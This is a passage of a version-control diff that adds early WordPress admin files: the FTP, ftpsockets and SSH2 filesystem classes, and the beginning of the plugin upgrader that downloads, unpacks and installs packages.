function atime($file) { + return false; + } + function mtime($file) { + return ftp_mdtm($this->link, $file); + } + function size($file) { + return ftp_size($this->link, $file); + } + function touch($file, $time = 0, $atime = 0) { + return false; + } + function mkdir($path, $chmod = false, $chown = false, $chgrp = false) { + if ( !ftp_mkdir($this->link, $path) ) + return false; + if ( ! $chmod ) + $chmod = FS_CHMOD_DIR; + $this->chmod($path, $chmod); + if ( $chown ) + $this->chown($path, $chown); + if ( $chgrp ) + $this->chgrp($path, $chgrp); + return true; + } + function rmdir($path, $recursive = false) { + return $this->delete($path, $recursive); + } + + function parselisting($line) { + static $is_windows; + if ( is_null($is_windows) ) + $is_windows = strpos( strtolower(ftp_systype($this->link)), 'win') !== false; + + if ( $is_windows && preg_match("/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|) +(.+)/", $line, $lucifer) ) { + $b = array(); + if ( $lucifer[3] < 70 ) { $lucifer[3] +=2000; } else { $lucifer[3] += 1900; } // 4digit year fix + $b['isdir'] = ($lucifer[7]==""); + if ( $b['isdir'] ) + $b['type'] = 'd'; + else + $b['type'] = 'f'; + $b['size'] = $lucifer[7]; + $b['month'] = $lucifer[1]; + $b['day'] = $lucifer[2]; + $b['year'] = $lucifer[3]; + $b['hour'] = $lucifer[4]; + $b['minute'] = $lucifer[5]; + $b['time'] = @mktime($lucifer[4]+(strcasecmp($lucifer[6],"PM")==0?12:0),$lucifer[5],0,$lucifer[1],$lucifer[2],$lucifer[3]); + $b['am/pm'] = $lucifer[6]; + $b['name'] = $lucifer[8]; + } else if (!$is_windows && $lucifer=preg_split("/[ ]/",$line,9,PREG_SPLIT_NO_EMPTY)) { + //echo $line."\n"; + $lcount=count($lucifer); + if ($lcount<8) return ''; + $b = array(); + $b['isdir'] = $lucifer[0]{0} === "d"; + $b['islink'] = $lucifer[0]{0} === "l"; + if ( $b['isdir'] ) + $b['type'] = 'd'; + elseif ( $b['islink'] ) + $b['type'] = 'l'; + else + $b['type'] = 'f'; + $b['perms'] = $lucifer[0]; + $b['number'] = $lucifer[1]; + $b['owner'] = $lucifer[2]; + $b['group'] = $lucifer[3]; + $b['size'] = $lucifer[4]; + if ($lcount==8) { + sscanf($lucifer[5],"%d-%d-%d",$b['year'],$b['month'],$b['day']); + sscanf($lucifer[6],"%d:%d",$b['hour'],$b['minute']); + $b['time'] = @mktime($b['hour'],$b['minute'],0,$b['month'],$b['day'],$b['year']); + $b['name'] = $lucifer[7]; + } else { + $b['month'] = $lucifer[5]; + $b['day'] = $lucifer[6]; + if (preg_match("/([0-9]{2}):([0-9]{2})/",$lucifer[7],$l2)) { + $b['year'] = date("Y"); + $b['hour'] = $l2[1]; + $b['minute'] = $l2[2]; + } else { + $b['year'] = $lucifer[7]; + $b['hour'] = 0; + $b['minute'] = 0; + } + $b['time'] = strtotime(sprintf("%d %s %d %02d:%02d",$b['day'],$b['month'],$b['year'],$b['hour'],$b['minute'])); + $b['name'] = $lucifer[8]; + } + } + + return $b; + } + + function dirlist($path = '.', $include_hidden = true, $recursive = false) { + if ( $this->is_file($path) ) { + $limit_file = basename($path); + $path = dirname($path) . '/'; + } else { + $limit_file = false; + } + + $list = @ftp_rawlist($this->link, '-a ' . $path, false); + + if ( $list === false ) + return false; + + $dirlist = array(); + foreach ( $list as $k => $v ) { + $entry = $this->parselisting($v); + if ( empty($entry) ) + continue; + + if ( '.' == $entry['name'] || '..' == $entry['name'] ) + continue; + + if ( ! $include_hidden && '.' == $entry['name'][0] ) + continue; + + if ( $limit_file && $entry['name'] != $limit_file) + continue; + + $dirlist[ $entry['name'] ] = $entry; + } + + if ( ! $dirlist ) + return false; + + $ret = array(); + foreach ( (array)$dirlist as $struc ) { + if ( 'd' == $struc['type'] ) { + if ( $recursive ) + $struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive); + else + $struc['files'] = array(); + } + + $ret[ $struc['name'] ] = $struc; + } + return $ret; + } + + function __destruct() { + if ( $this->link ) + ftp_close($this->link); + } +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/class-wp-filesystem-ftpsockets.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/class-wp-filesystem-ftpsockets.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,327 @@ +method = 'ftpsockets'; + $this->errors = new WP_Error(); + + //Check if possible to use ftp functions. + if ( ! @include_once ABSPATH . 'wp-admin/includes/class-ftp.php' ) + return false; + $this->ftp = new ftp(); + + //Set defaults: + if ( empty($opt['port']) ) + $this->options['port'] = 21; + else + $this->options['port'] = $opt['port']; + + if ( empty($opt['hostname']) ) + $this->errors->add('empty_hostname', __('FTP hostname is required')); + else + $this->options['hostname'] = $opt['hostname']; + + if ( isset($opt['base']) && ! empty($opt['base']) ) + $this->wp_base = $opt['base']; + + // Check if the options provided are OK. + if ( empty ($opt['username']) ) + $this->errors->add('empty_username', __('FTP username is required')); + else + $this->options['username'] = $opt['username']; + + if ( empty ($opt['password']) ) + $this->errors->add('empty_password', __('FTP password is required')); + else + $this->options['password'] = $opt['password']; + } + + function connect() { + if ( ! $this->ftp ) + return false; + + $this->ftp->setTimeout(FS_CONNECT_TIMEOUT); + + if ( ! $this->ftp->SetServer($this->options['hostname'], $this->options['port']) ) { + $this->errors->add('connect', sprintf(__('Failed to connect to FTP Server %1$s:%2$s'), $this->options['hostname'], $this->options['port'])); + return false; + } + + if ( ! $this->ftp->connect() ) { + $this->errors->add('connect', sprintf(__('Failed to connect to FTP Server %1$s:%2$s'), $this->options['hostname'], $this->options['port'])); + return false; + } + + if ( ! $this->ftp->login($this->options['username'], $this->options['password']) ) { + $this->errors->add('auth', sprintf(__('Username/Password incorrect for %s'), $this->options['username'])); + return false; + } + + $this->ftp->SetType(FTP_AUTOASCII); + $this->ftp->Passive(true); + $this->ftp->setTimeout(FS_TIMEOUT); + return true; + } + + function get_contents($file, $type = '', $resumepos = 0) { + if ( ! $this->exists($file) ) + return false; + + if ( empty($type) ) + $type = FTP_AUTOASCII; + $this->ftp->SetType($type); + + $temp = wp_tempnam( $file ); + + if ( ! $temphandle = fopen($temp, 'w+') ) + return false; + + if ( ! $this->ftp->fget($temphandle, $file) ) { + fclose($temphandle); + unlink($temp); + return ''; //Blank document, File does exist, Its just blank. + } + + fseek($temphandle, 0); //Skip back to the start of the file being written to + $contents = ''; + + while ( ! feof($temphandle) ) + $contents .= fread($temphandle, 8192); + + fclose($temphandle); + unlink($temp); + return $contents; + } + + function get_contents_array($file) { + return explode("\n", $this->get_contents($file) ); + } + + function put_contents($file, $contents, $type = '' ) { + if ( empty($type) ) + $type = $this->is_binary($contents) ? FTP_BINARY : FTP_ASCII; + + $this->ftp->SetType($type); + + $temp = wp_tempnam( $file ); + if ( ! $temphandle = fopen($temp, 'w+') ) { + unlink($temp); + return false; + } + + fwrite($temphandle, $contents); + fseek($temphandle, 0); //Skip back to the start of the file being written to + + $ret = $this->ftp->fput($file, $temphandle); + + fclose($temphandle); + unlink($temp); + return $ret; + } + + function cwd() { + $cwd = $this->ftp->pwd(); + if ( $cwd ) + $cwd = trailingslashit($cwd); + return $cwd; + } + + function chdir($file) { + return $this->ftp->chdir($file); + } + + function chgrp($file, $group, $recursive = false ) { + return false; + } + + function chmod($file, $mode = false, $recursive = false ) { + + if ( ! $mode ) { + if ( $this->is_file($file) ) + $mode = FS_CHMOD_FILE; + elseif ( $this->is_dir($file) ) + $mode = FS_CHMOD_DIR; + else + return false; + } + + if ( ! $recursive || ! $this->is_dir($file) ) { + return $this->ftp->chmod($file, $mode); + } + + //Is a directory, and we want recursive + $filelist = $this->dirlist($file); + foreach ( $filelist as $filename ) + $this->chmod($file . '/' . $filename, $mode, $recursive); + + return true; + } + + function chown($file, $owner, $recursive = false ) { + return false; + } + + function owner($file) { + $dir = $this->dirlist($file); + return $dir[$file]['owner']; + } + + function getchmod($file) { + $dir = $this->dirlist($file); + return $dir[$file]['permsn']; + } + + function group($file) { + $dir = $this->dirlist($file); + return $dir[$file]['group']; + } + + function copy($source, $destination, $overwrite = false ) { + if ( ! $overwrite && $this->exists($destination) ) + return false; + + $content = $this->get_contents($source); + if ( false === $content ) + return false; + + return $this->put_contents($destination, $content); + } + + function move($source, $destination, $overwrite = false ) { + return $this->ftp->rename($source, $destination); + } + + function delete($file, $recursive = false ) { + if ( empty($file) ) + return false; + if ( $this->is_file($file) ) + return $this->ftp->delete($file); + if ( !$recursive ) + return $this->ftp->rmdir($file); + + return $this->ftp->mdel($file); + } + + function exists($file) { + return $this->ftp->is_exists($file); + } + + function is_file($file) { + return $this->is_dir($file) ? false : true; + } + + function is_dir($path) { + $cwd = $this->cwd(); + if ( $this->chdir($path) ) { + $this->chdir($cwd); + return true; + } + return false; + } + + function is_readable($file) { + //Get dir list, Check if the file is writable by the current user?? + return true; + } + + function is_writable($file) { + //Get dir list, Check if the file is writable by the current user?? + return true; + } + + function atime($file) { + return false; + } + + function mtime($file) { + return $this->ftp->mdtm($file); + } + + function size($file) { + return $this->ftp->filesize($file); + } + + function touch($file, $time = 0, $atime = 0 ) { + return false; + } + + function mkdir($path, $chmod = false, $chown = false, $chgrp = false ) { + if ( ! $this->ftp->mkdir($path) ) + return false; + if ( ! $chmod ) + $chmod = FS_CHMOD_DIR; + $this->chmod($path, $chmod); + if ( $chown ) + $this->chown($path, $chown); + if ( $chgrp ) + $this->chgrp($path, $chgrp); + return true; + } + + function rmdir($path, $recursive = false ) { + if ( ! $recursive ) + return $this->ftp->rmdir($path); + + return $this->ftp->mdel($path); + } + + function dirlist($path = '.', $include_hidden = true, $recursive = false ) { + if ( $this->is_file($path) ) { + $limit_file = basename($path); + $path = dirname($path) . '/'; + } else { + $limit_file = false; + } + + $list = $this->ftp->dirlist($path); + if ( ! $list ) + return false; + + $ret = array(); + foreach ( $list as $struc ) { + + if ( '.' == $struc['name'] || '..' == $struc['name'] ) + continue; + + if ( ! $include_hidden && '.' == $struc['name'][0] ) + continue; + + if ( $limit_file && $struc['name'] != $limit_file ) + continue; + + if ( 'd' == $struc['type'] ) { + if ( $recursive ) + $struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive); + else + $struc['files'] = array(); + } + + $ret[ $struc['name'] ] = $struc; + } + return $ret; + } + + function __destruct() { + $this->ftp->quit(); + } +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/class-wp-filesystem-ssh2.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/class-wp-filesystem-ssh2.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,379 @@ +method = 'ssh2'; + $this->errors = new WP_Error(); + + //Check if possible to use ssh2 functions. + if ( ! extension_loaded('ssh2') ) { + $this->errors->add('no_ssh2_ext', __('The ssh2 PHP extension is not available')); + return false; + } + if ( !function_exists('stream_get_contents') ) { + $this->errors->add('ssh2_php_requirement', __('The ssh2 PHP extension is available, however, we require the PHP5 function stream_get_contents()')); + return false; + } + + // Set defaults: + if ( empty($opt['port']) ) + $this->options['port'] = 22; + else + $this->options['port'] = $opt['port']; + + if ( empty($opt['hostname']) ) + $this->errors->add('empty_hostname', __('SSH2 hostname is required')); + else + $this->options['hostname'] = $opt['hostname']; + + if ( isset($opt['base']) && ! empty($opt['base']) ) + $this->wp_base = $opt['base']; + + // Check if the options provided are OK. + if ( !empty ($opt['public_key']) && !empty ($opt['private_key']) ) { + $this->options['public_key'] = $opt['public_key']; + $this->options['private_key'] = $opt['private_key']; + + $this->options['hostkey'] = array('hostkey' => 'ssh-rsa'); + + $this->keys = true; + } elseif ( empty ($opt['username']) ) { + $this->errors->add('empty_username', __('SSH2 username is required')); + } + + if ( !empty($opt['username']) ) + $this->options['username'] = $opt['username']; + + if ( empty ($opt['password']) ) { + if ( !$this->keys ) //password can be blank if we are using keys + $this->errors->add('empty_password', __('SSH2 password is required')); + } else { + $this->options['password'] = $opt['password']; + } + + } + + function connect() { + if ( ! $this->keys ) { + $this->link = @ssh2_connect($this->options['hostname'], $this->options['port']); + } else { + $this->link = @ssh2_connect($this->options['hostname'], $this->options['port'], $this->options['hostkey']); + } + + if ( ! $this->link ) { + $this->errors->add('connect', sprintf(__('Failed to connect to SSH2 Server %1$s:%2$s'), $this->options['hostname'], $this->options['port'])); + return false; + } + + if ( !$this->keys ) { + if ( ! @ssh2_auth_password($this->link, $this->options['username'], $this->options['password']) ) { + $this->errors->add('auth', sprintf(__('Username/Password incorrect for %s'), $this->options['username'])); + return false; + } + } else { + if ( ! @ssh2_auth_pubkey_file($this->link, $this->options['username'], $this->options['public_key'], $this->options['private_key'], $this->options['password'] ) ) { + $this->errors->add('auth', sprintf(__('Public and Private keys incorrect for %s'), $this->options['username'])); + return false; + } + } + + $this->sftp_link = ssh2_sftp($this->link); + + return true; + } + + function run_command( $command, $returnbool = false) { + + if ( ! $this->link ) + return false; + + if ( ! ($stream = ssh2_exec($this->link, $command)) ) { + $this->errors->add('command', sprintf(__('Unable to perform command: %s'), $command)); + } else { + stream_set_blocking( $stream, true ); + stream_set_timeout( $stream, FS_TIMEOUT ); + $data = stream_get_contents( $stream ); + fclose( $stream ); + + if ( $returnbool ) + return ( $data === false ) ? false : '' != trim($data); + else + return $data; + } + return false; + } + + function get_contents($file, $type = '', $resumepos = 0 ) { + $file = ltrim($file, '/'); + return file_get_contents('ssh2.sftp://' . $this->sftp_link . '/' . $file); + } + + function get_contents_array($file) { + $file = ltrim($file, '/'); + return file('ssh2.sftp://' . $this->sftp_link . '/' . $file); + } + + function put_contents($file, $contents, $type = '' ) { + $file = ltrim($file, '/'); + return false !== file_put_contents('ssh2.sftp://' . $this->sftp_link . '/' . $file, $contents); + } + + function cwd() { + $cwd = $this->run_command('pwd'); + if( $cwd ) + $cwd = trailingslashit($cwd); + return $cwd; + } + + function chdir($dir) { + return $this->run_command('cd ' . $dir, true); + } + + function chgrp($file, $group, $recursive = false ) { + if ( ! $this->exists($file) ) + return false; + if ( ! $recursive || ! $this->is_dir($file) ) + return $this->run_command(sprintf('chgrp %o %s', $mode, escapeshellarg($file)), true); + return $this->run_command(sprintf('chgrp -R %o %s', $mode, escapeshellarg($file)), true); + } + + function chmod($file, $mode = false, $recursive = false) { + if ( ! $this->exists($file) ) + return false; + + if ( ! $mode ) { + if ( $this->is_file($file) ) + $mode = FS_CHMOD_FILE; + elseif ( $this->is_dir($file) ) + $mode = FS_CHMOD_DIR; + else + return false; + } + + if ( ! $recursive || ! $this->is_dir($file) ) + return $this->run_command(sprintf('chmod %o %s', $mode, escapeshellarg($file)), true); + return $this->run_command(sprintf('chmod -R %o %s', $mode, escapeshellarg($file)), true); + } + + function chown($file, $owner, $recursive = false ) { + if ( ! $this->exists($file) ) + return false; + if ( ! $recursive || ! $this->is_dir($file) ) + return $this->run_command(sprintf('chown %o %s', $mode, escapeshellarg($file)), true); + return $this->run_command(sprintf('chown -R %o %s', $mode, escapeshellarg($file)), true); + } + + function owner($file) { + $owneruid = @fileowner('ssh2.sftp://' . $this->sftp_link . '/' . ltrim($file, '/')); + if ( ! $owneruid ) + return false; + if ( ! function_exists('posix_getpwuid') ) + return $owneruid; + $ownerarray = posix_getpwuid($owneruid); + return $ownerarray['name']; + } + + function getchmod($file) { + return substr(decoct(@fileperms( 'ssh2.sftp://' . $this->sftp_link . '/' . ltrim($file, '/') )),3); + } + + function group($file) { + $gid = @filegroup('ssh2.sftp://' . $this->sftp_link . '/' . ltrim($file, '/')); + if ( ! $gid ) + return false; + if ( ! function_exists('posix_getgrgid') ) + return $gid; + $grouparray = posix_getgrgid($gid); + return $grouparray['name']; + } + + function copy($source, $destination, $overwrite = false ) { + if( ! $overwrite && $this->exists($destination) ) + return false; + $content = $this->get_contents($source); + if( false === $content) + return false; + return $this->put_contents($destination, $content); + } + + function move($source, $destination, $overwrite = false) { + return @ssh2_sftp_rename($this->link, $source, $destination); + } + + function delete($file, $recursive = false) { + if ( $this->is_file($file) ) + return ssh2_sftp_unlink($this->sftp_link, $file); + if ( ! $recursive ) + return ssh2_sftp_rmdir($this->sftp_link, $file); + $filelist = $this->dirlist($file); + if ( is_array($filelist) ) { + foreach ( $filelist as $filename => $fileinfo) { + $this->delete($file . '/' . $filename, $recursive); + } + } + return ssh2_sftp_rmdir($this->sftp_link, $file); + } + + function exists($file) { + $file = ltrim($file, '/'); + return file_exists('ssh2.sftp://' . $this->sftp_link . '/' . $file); + } + + function is_file($file) { + $file = ltrim($file, '/'); + return is_file('ssh2.sftp://' . $this->sftp_link . '/' . $file); + } + + function is_dir($path) { + $path = ltrim($path, '/'); + return is_dir('ssh2.sftp://' . $this->sftp_link . '/' . $path); + } + + function is_readable($file) { + $file = ltrim($file, '/'); + return is_readable('ssh2.sftp://' . $this->sftp_link . '/' . $file); + } + + function is_writable($file) { + $file = ltrim($file, '/'); + return is_writable('ssh2.sftp://' . $this->sftp_link . '/' . $file); + } + + function atime($file) { + $file = ltrim($file, '/'); + return fileatime('ssh2.sftp://' . $this->sftp_link . '/' . $file); + } + + function mtime($file) { + $file = ltrim($file, '/'); + return filemtime('ssh2.sftp://' . $this->sftp_link . '/' . $file); + } + + function size($file) { + $file = ltrim($file, '/'); + return filesize('ssh2.sftp://' . $this->sftp_link . '/' . $file); + } + + function touch($file, $time = 0, $atime = 0) { + //Not implmented. + } + + function mkdir($path, $chmod = false, $chown = false, $chgrp = false) { + $path = untrailingslashit($path); + if ( ! $chmod ) + $chmod = FS_CHMOD_DIR; + if ( ! ssh2_sftp_mkdir($this->sftp_link, $path, $chmod, true) ) + return false; + if ( $chown ) + $this->chown($path, $chown); + if ( $chgrp ) + $this->chgrp($path, $chgrp); + return true; + } + + function rmdir($path, $recursive = false) { + return $this->delete($path, $recursive); + } + + function dirlist($path, $include_hidden = true, $recursive = false) { + if ( $this->is_file($path) ) { + $limit_file = basename($path); + $path = dirname($path); + } else { + $limit_file = false; + } + + if ( ! $this->is_dir($path) ) + return false; + + $ret = array(); + $dir = @dir('ssh2.sftp://' . $this->sftp_link .'/' . ltrim($path, '/') ); + + if ( ! $dir ) + return false; + + while (false !== ($entry = $dir->read()) ) { + $struc = array(); + $struc['name'] = $entry; + + if ( '.' == $struc['name'] || '..' == $struc['name'] ) + continue; //Do not care about these folders. + + if ( ! $include_hidden && '.' == $struc['name'][0] ) + continue; + + if ( $limit_file && $struc['name'] != $limit_file ) + continue; + + $struc['perms'] = $this->gethchmod($path.'/'.$entry); + $struc['permsn'] = $this->getnumchmodfromh($struc['perms']); + $struc['number'] = false; + $struc['owner'] = $this->owner($path.'/'.$entry); + $struc['group'] = $this->group($path.'/'.$entry); + $struc['size'] = $this->size($path.'/'.$entry); + $struc['lastmodunix']= $this->mtime($path.'/'.$entry); + $struc['lastmod'] = date('M j',$struc['lastmodunix']); + $struc['time'] = date('h:i:s',$struc['lastmodunix']); + $struc['type'] = $this->is_dir($path.'/'.$entry) ? 'd' : 'f'; + + if ( 'd' == $struc['type'] ) { + if ( $recursive ) + $struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive); + else + $struc['files'] = array(); + } + + $ret[ $struc['name'] ] = $struc; + } + $dir->close(); + unset($dir); + return $ret; + } +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/class-wp-upgrader.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/class-wp-upgrader.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1158 @@ +__construct($skin); + } + function __construct($skin = null) { + if ( null == $skin ) + $this->skin = new WP_Upgrader_Skin(); + else + $this->skin = $skin; + } + + function init() { + $this->skin->set_upgrader($this); + $this->generic_strings(); + } + + function generic_strings() { + $this->strings['bad_request'] = __('Invalid Data provided.'); + $this->strings['fs_unavailable'] = __('Could not access filesystem.'); + $this->strings['fs_error'] = __('Filesystem error'); + $this->strings['fs_no_root_dir'] = __('Unable to locate WordPress Root directory.'); + $this->strings['fs_no_content_dir'] = __('Unable to locate WordPress Content directory (wp-content).'); + $this->strings['fs_no_plugins_dir'] = __('Unable to locate WordPress Plugin directory.'); + $this->strings['fs_no_themes_dir'] = __('Unable to locate WordPress Theme directory.'); + $this->strings['fs_no_folder'] = __('Unable to locate needed folder (%s).'); + + $this->strings['download_failed'] = __('Download failed.'); + $this->strings['installing_package'] = __('Installing the latest version.'); + $this->strings['folder_exists'] = __('Destination folder already exists.'); + $this->strings['mkdir_failed'] = __('Could not create directory.'); + $this->strings['bad_package'] = __('Incompatible Archive'); + + $this->strings['maintenance_start'] = __('Enabling Maintenance mode.'); + $this->strings['maintenance_end'] = __('Disabling Maintenance mode.'); + } + + function fs_connect( $directories = array() ) { + global $wp_filesystem; + + if ( false === ($credentials = $this->skin->request_filesystem_credentials()) ) + return false; + + if ( ! WP_Filesystem($credentials) ) { + $error = true; + if ( is_object($wp_filesystem) && $wp_filesystem->errors->get_error_code() ) + $error = $wp_filesystem->errors; + $this->skin->request_filesystem_credentials($error); //Failed to connect, Error and request again + return false; + } + + if ( ! is_object($wp_filesystem) ) + return new WP_Error('fs_unavailable', $this->strings['fs_unavailable'] ); + + if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() ) + return new WP_Error('fs_error', $this->strings['fs_error'], $wp_filesystem->errors); + + foreach ( (array)$directories as $dir ) { + switch ( $dir ) { + case ABSPATH: + if ( ! $wp_filesystem->abspath() ) + return new WP_Error('fs_no_root_dir', $this->strings['fs_no_root_dir']); + break; + case WP_CONTENT_DIR: + if ( ! $wp_filesystem->wp_content_dir() ) + return new WP_Error('fs_no_content_dir', $this->strings['fs_no_content_dir']); + break; + case WP_PLUGIN_DIR: + if ( ! $wp_filesystem->wp_plugins_dir() ) + return new WP_Error('fs_no_plugins_dir', $this->strings['fs_no_plugins_dir']); + break; + case WP_CONTENT_DIR . '/themes': + if ( ! $wp_filesystem->find_folder(WP_CONTENT_DIR . '/themes') ) + return new WP_Error('fs_no_themes_dir', $this->strings['fs_no_themes_dir']); + break; + default: + if ( ! $wp_filesystem->find_folder($dir) ) + return new WP_Error('fs_no_folder', sprintf($this->strings['fs_no_folder'], $dir)); + break; + } + } + return true; + } //end fs_connect(); + + function download_package($package) { + + if ( ! preg_match('!^(http|https|ftp)://!i', $package) && file_exists($package) ) //Local file or remote? + return $package; //must be a local file.. + + if ( empty($package) ) + return new WP_Error('no_package', $this->strings['no_package']); + + $this->skin->feedback('downloading_package', $package); + + $download_file = download_url($package); + + if ( is_wp_error($download_file) ) + return new WP_Error('download_failed', $this->strings['download_failed'], $download_file->get_error_message()); + + return $download_file; + } + + function unpack_package($package, $delete_package = true) { + global $wp_filesystem; + + $this->skin->feedback('unpack_package'); + + $upgrade_folder = $wp_filesystem->wp_content_dir() . 'upgrade/'; + + //Clean up contents of upgrade directory beforehand. + $upgrade_files = $wp_filesystem->dirlist($upgrade_folder); + if ( !empty($upgrade_files) ) { + foreach ( $upgrade_files as $file ) + $wp_filesystem->delete($upgrade_folder . $file['name'], true); + } + + //We need a working directory + $working_dir = $upgrade_folder . basename($package, '.zip'); + + // Clean up working directory + if ( $wp_filesystem->is_dir($working_dir) ) + $wp_filesystem->delete($working_dir, true); + + // Unzip package to working directory + $result = unzip_file($package, $working_dir); //TODO optimizations, Copy when Move/Rename would suffice? + + // Once extracted, delete the package if required. + if ( $delete_package ) + unlink($package); + + if ( is_wp_error($result) ) { + $wp_filesystem->delete($working_dir, true); + return $result; + } + + return $working_dir; + } + + function install_package($args = array()) { + global $wp_filesystem; + $defaults = array( 'source' => '', 'destination' => '', //Please always pass these + 'clear_destination' => false, 'clear_working' => false, + 'hook_extra' => array()); + + $args = wp_parse_args($args, $defaults); + extract($args); + + @set_time_limit( 300 ); + + if ( empty($source) || empty($destination) ) + return new WP_Error('bad_request', $this->strings['bad_request']); + + $this->skin->feedback('installing_package'); + + $res = apply_filters('upgrader_pre_install', true, $hook_extra); + if ( is_wp_error($res) ) + return $res; + + //Retain the Original source and destinations + $remote_source = $source; + $local_destination = $destination; + + $source_files = array_keys( $wp_filesystem->dirlist($remote_source) ); + $remote_destination = $wp_filesystem->find_folder($local_destination); + + //Locate which directory to copy to the new folder, This is based on the actual folder holding the files. + if ( 1 == count($source_files) && $wp_filesystem->is_dir( trailingslashit($source) . $source_files[0] . '/') ) //Only one folder? Then we want its contents. + $source = trailingslashit($source) . trailingslashit($source_files[0]); + elseif ( count($source_files) == 0 ) + return new WP_Error('bad_package', $this->strings['bad_package']); //There are no files? + //else //Its only a single file, The upgrader will use the foldername of this file as the destination folder. foldername is based on zip filename. + + //Hook ability to change the source file location.. + $source = apply_filters('upgrader_source_selection', $source, $remote_source, $this); + if ( is_wp_error($source) ) + return $source; + + //Has the source location changed? If so, we need a new source_files list. + if ( $source !== $remote_source ) + $source_files = array_keys( $wp_filesystem->dirlist($source) ); + + //Protection against deleting files in any important base directories. + if ( in_array( $destination, array(ABSPATH, WP_CONTENT_DIR, WP_PLUGIN_DIR, WP_CONTENT_DIR . '/themes') ) ) { + $remote_destination = trailingslashit($remote_destination) . trailingslashit(basename($source)); + $destination = trailingslashit($destination) . trailingslashit(basename($source)); + } + + if ( $wp_filesystem->exists($remote_destination) ) { + if ( $clear_destination ) { + //We're going to clear the destination if theres something there + $this->skin->feedback('remove_old'); + $removed = $wp_filesystem->delete($remote_destination, true); + $removed = apply_filters('upgrader_clear_destination', $removed, $local_destination, $remote_destination, $hook_extra); + + if ( is_wp_error($removed) ) + return $removed; + else if ( ! $removed ) + return new WP_Error('remove_old_failed', $this->strings['remove_old_failed']); + } else { + //If we're not clearing the destination folder and something exists there allready, Bail. + //But first check to see if there are actually any files in the folder. + $_files = $wp_filesystem->dirlist($remote_destination); + if ( ! empty($_files) ) { + $wp_filesystem->delete($remote_source, true); //Clear out the source files. + return new WP_Error('folder_exists', $this->strings['folder_exists'], $remote_destination ); + } + } + } + + //Create destination if needed + if ( !$wp_filesystem->exists($remote_destination) ) + if ( !$wp_filesystem->mkdir($remote_destination, FS_CHMOD_DIR) ) + return new WP_Error('mkdir_failed', $this->strings['mkdir_failed'], $remote_destination); + + // Copy new version of item into place. + $result = copy_dir($source, $remote_destination); + if ( is_wp_error($result) ) { + if ( $clear_working ) + $wp_filesystem->delete($remote_source, true); + return $result; + } + + //Clear the Working folder? + if ( $clear_working ) + $wp_filesystem->delete($remote_source, true); + + $destination_name = basename( str_replace($local_destination, '', $destination) ); + if ( '.' == $destination_name ) + $destination_name = ''; + + $this->result = compact('local_source', 'source', 'source_name', 'source_files', 'destination', 'destination_name', 'local_destination', 'remote_destination', 'clear_destination', 'delete_source_dir'); + + $res = apply_filters('upgrader_post_install', true, $hook_extra, $this->result); + if ( is_wp_error($res) ) { + $this->result = $res; + return $res; + } + + //Bombard the calling function will all the info which we've just used. + return $this->result; + } + + function run($options) { + + $defaults = array( 'package' => '', //Please always pass this. + 'destination' => '', //And this + 'clear_destination' => false, + 'clear_working' => true, + 'is_multi' => false, + 'hook_extra' => array() //Pass any extra $hook_extra args here, this will be passed to any hooked filters. + ); + + $options = wp_parse_args($options, $defaults); + extract($options); + + //Connect to the Filesystem first. + $res = $this->fs_connect( array(WP_CONTENT_DIR, $destination) ); + if ( ! $res ) //Mainly for non-connected filesystem. + return false; + + if ( is_wp_error($res) ) { + $this->skin->error($res); + return $res; + } + + if ( !$is_multi ) // call $this->header separately if running multiple times + $this->skin->header(); + + $this->skin->before(); + + //Download the package (Note, This just returns the filename of the file if the package is a local file) + $download = $this->download_package( $package ); + if ( is_wp_error($download) ) { + $this->skin->error($download); + return $download; + } + + //Unzip's the file into a temporary directory + $working_dir = $this->unpack_package( $download ); + if ( is_wp_error($working_dir) ) { + $this->skin->error($working_dir); + return $working_dir; + } + + //With the given options, this installs it to the destination directory. + $result = $this->install_package( array( + 'source' => $working_dir, + 'destination' => $destination, + 'clear_destination' => $clear_destination, + 'clear_working' => $clear_working, + 'hook_extra' => $hook_extra + ) ); + $this->skin->set_result($result); + if ( is_wp_error($result) ) { + $this->skin->error($result); + $this->skin->feedback('process_failed'); + } else { + //Install Suceeded + $this->skin->feedback('process_success'); + } + $this->skin->after(); + + if ( !$is_multi ) + $this->skin->footer(); + + return $result; + } + + function maintenance_mode($enable = false) { + global $wp_filesystem; + $file = $wp_filesystem->abspath() . '.maintenance'; + if ( $enable ) { + $this->skin->feedback('maintenance_start'); + // Create maintenance file to signal that we are upgrading + $maintenance_string = ''; + $wp_filesystem->delete($file); + $wp_filesystem->put_contents($file, $maintenance_string, FS_CHMOD_FILE); + } else if ( !$enable && $wp_filesystem->exists($file) ) { + $this->skin->feedback('maintenance_end'); + $wp_filesystem->delete($file); + } + } + +} + +/** + * Plugin Upgrader class for WordPress Plugins, It is designed to upgrade/install plugins from a local zip, remote zip URL, or uploaded zip file. + * + * @TODO More Detailed docs, for methods as well. + * + * @package WordPress + * @subpackage Upgrader + * @since 2.8.0 + */ +class Plugin_Upgrader extends WP_Upgrader { + + var $result; + var $bulk = false; + var $show_before = ''; + + function upgrade_strings() { + $this->strings['up_to_date'] = __('The plugin is at the latest version.'); + $this->strings['no_package'] = __('Upgrade package not available.'); + $this->strings['downloading_package'] = __('Downloading update from %s.'); + $this->strings['unpack_package'] = __('Unpacking the update.'); + $this->strings['deactivate_plugin'] = __('Deactivating the plugin.'); + $this->strings['remove_old'] = __('Removing the old version of the plugin.'); + $this->strings['remove_old_failed'] = __('Could not remove the old plugin.'); + $this->strings['process_failed'] = __('Plugin upgrade Failed.'); + $this->strings['process_success'] = __('Plugin upgraded successfully.'); + } + + function install_strings() { + 